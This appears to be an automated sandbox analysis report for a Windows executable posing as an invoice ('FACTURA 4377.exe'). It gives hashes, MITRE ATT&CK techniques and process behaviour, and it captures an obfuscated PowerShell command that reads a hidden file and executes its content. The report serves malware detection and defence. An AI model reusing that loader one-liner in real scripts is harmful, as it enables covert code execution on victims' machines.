d2dde54f4a86ddf7e65a5ec98e46e19b6889055dbb728ba185c12559964ae2e1

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19/11/2024, 14:23

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General

Target

FACTURA 4377.exe
Size

686KB
MD5

df42d33d81a5ed7fee68850e63b5e1b5
SHA1

faeef51934a70ad46b2cb028fcf35ead423d8042
SHA256

d2dde54f4a86ddf7e65a5ec98e46e19b6889055dbb728ba185c12559964ae2e1
SHA512

6c3364ec662547bc19fa4ebf47aa0a8ca19d5f2e2a6c5ef25ec8e451c75f23e5d15554958dbf8435e248cb0568b1abcf63963343bc074beb56a5da7dd3638ab3
SSDEEP

12288:IhpzVenpxgt2nO2ysW7IAkqx5cqMYmOMCui3EQoPJXOtS9TZSmPWF:Iz+nXO2lWsAkSiIMCj3EjPHvp+

Score

3^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2376	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACTURA 4377.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2376	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1452 wrote to memory of 2376	1452	FACTURA 4377.exe	30
PID 1452 wrote to memory of 2376	1452	FACTURA 4377.exe	30
PID 1452 wrote to memory of 2376	1452	FACTURA 4377.exe	30
PID 1452 wrote to memory of 2376	1452	FACTURA 4377.exe	30

C:\Users\Admin\AppData\Local\Temp\FACTURA 4377.exe
"C:\Users\Admin\AppData\Local\Temp\FACTURA 4377.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Insultingly=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\bautasten\bounden\Dunsternes.blo';$Klux27=$Insultingly.SubString(29925,3);.$Klux27($Insultingly)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2376

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2376-10-0x0000000073AB1000-0x0000000073AB2000-memory.dmp

Filesize
4KB

Download
memory/2376-11-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-12-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-13-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-14-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download
memory/2376-15-0x0000000073AB0000-0x000000007405B000-memory.dmp

Filesize
5.7MB

Download